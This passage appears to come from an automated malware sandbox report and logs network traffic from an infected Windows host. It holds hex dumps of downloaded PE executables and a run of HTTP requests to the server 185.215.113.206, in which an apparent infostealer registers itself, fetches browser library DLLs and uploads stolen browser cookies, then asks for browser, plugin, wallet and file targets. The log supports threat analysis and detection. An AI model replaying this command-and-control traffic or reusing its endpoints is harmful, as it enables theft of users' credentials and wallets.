00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 27 Nov 2024 23:19:56 GMTContent-Type: application/octet-streamContent-Length: 1852416Last-Modified: Wed, 27 Nov 2024 23:07:25 GMTConnection: keep-aliveETag: "6747a62d-1c4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 b0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 49 00 00 04 00 00 9d b9 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 96 49 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 95 49 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 70 6e 71 78 67 7a 6e 00 30 19 00 00 70 30 00 00 28 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 79 72 72 75 6f 62 68 00 10 00 00 00 a0 49 00 00 04 00 00 00 1e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 49 00 00 22 00 00 00 22 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 27 Nov 2024 23:21:09 GMTContent-Type: application/octet-streamContent-Length: 4419584Last-Modified: Wed, 27 Nov 2024 21:01:20 GMTConnection: keep-aliveETag: "674788a0-437000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 25 da 45 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4e 4b 00 00 3a 76 00 00 32 00 00 00 60 c6 00 00 10 00 00 00 60 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c6 00 00 04 00 00 44 20 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f a0 73 00 73 00 00 00 00 90 73 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 48 c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 48 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 73 00 00 10 00 00 00 36 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 90 73 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 73 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 37 00 00 b0 73 00 00 02 00 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 65 62 73 6b 6f 64 6c 00 00 1b 00 00 50 ab 00 00 fc 1a 00 00 4c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 6f 6f 6b 78 69 72 62 00 10 00 00 00 50 c6 00 00 06 00 00 00 48 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 c6 00 00 22 00 00 00 4e 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 46 37 46 41 43 34 42 42 32 45 38 32 30 37 38 35 38 38 37 32 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="hwid"5F7FAC4BB2E82078588720------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="build"mars------GHDBAFIIECBFHIEBKJJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGHCFCAAFIECAFIIIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 2d 2d 0d 0a Data Ascii: ------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="message"browsers------BAEBGHCFCAAFIECAFIII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFCHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="message"plugins------CAAEBKEGHJKEBFHJDBFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBKJDGIJECFIEBFIDHCHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4a 44 47 49 4a 45 43 46 49 45 42 46 49 44 48 43 2d 2d 0d 0a Data Ascii: ------GDBKJDGIJECFIEBFIDHCContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------GDBKJDGIJECFIEBFIDHCContent-Disposition: form-data; name="message"fplugins------GDBKJDGIJECFIEBFIDHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFCHost: 185.215.113.206Content-Length: 8299Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GHDBAFIIECBFHIEBKJJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCBAEHCAEGDHJKFHJKFIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="file"------FCBAEHCAEGDHJKFHJKFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHJJEHIEBKKFIDHDGHJHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 4a 45 47 43 42 47 49 44 47 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIJEGCBGIDGHIDHDGCBContent-Disposition: form-data; name="file"------KFIJEGCBGIDGHIDHDGCB--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEBHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDBFBFHJDGCAKEGHJEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="message"wallets------EGIDBFBFHJDGCAKEGHJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGIIIDAKJDHJKFHIEBFHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 61 33 31 32 31 30 37 34 62 34 66 35 35 30 35 32 39 37 31 34 32 63 31 64 36 33 35 30 63 32 31 35 64 37 63 65 30 65 34 37 66 37 34 38 65 36 65 33 65 31 39 63 62 63 39 63 63 38 32 64 35 63 38 36 65 38 33 34 33 62 36 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 49 49 49 44 41 4b 4a 44 48 4a 4b 46 48 49 45 42 46 2d 2d 0d 0a Data Ascii: ------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="token"8a3121074b4f5505297142c1d6350c215d7ce0e47f748e6e3e19cbc9cc82d5c86e8343b6------ECGIIIDAKJDHJKFHIEBFContent-Disposition: form-data; name="message"files------ECGIIIDAKJDHJKFHIEBF--
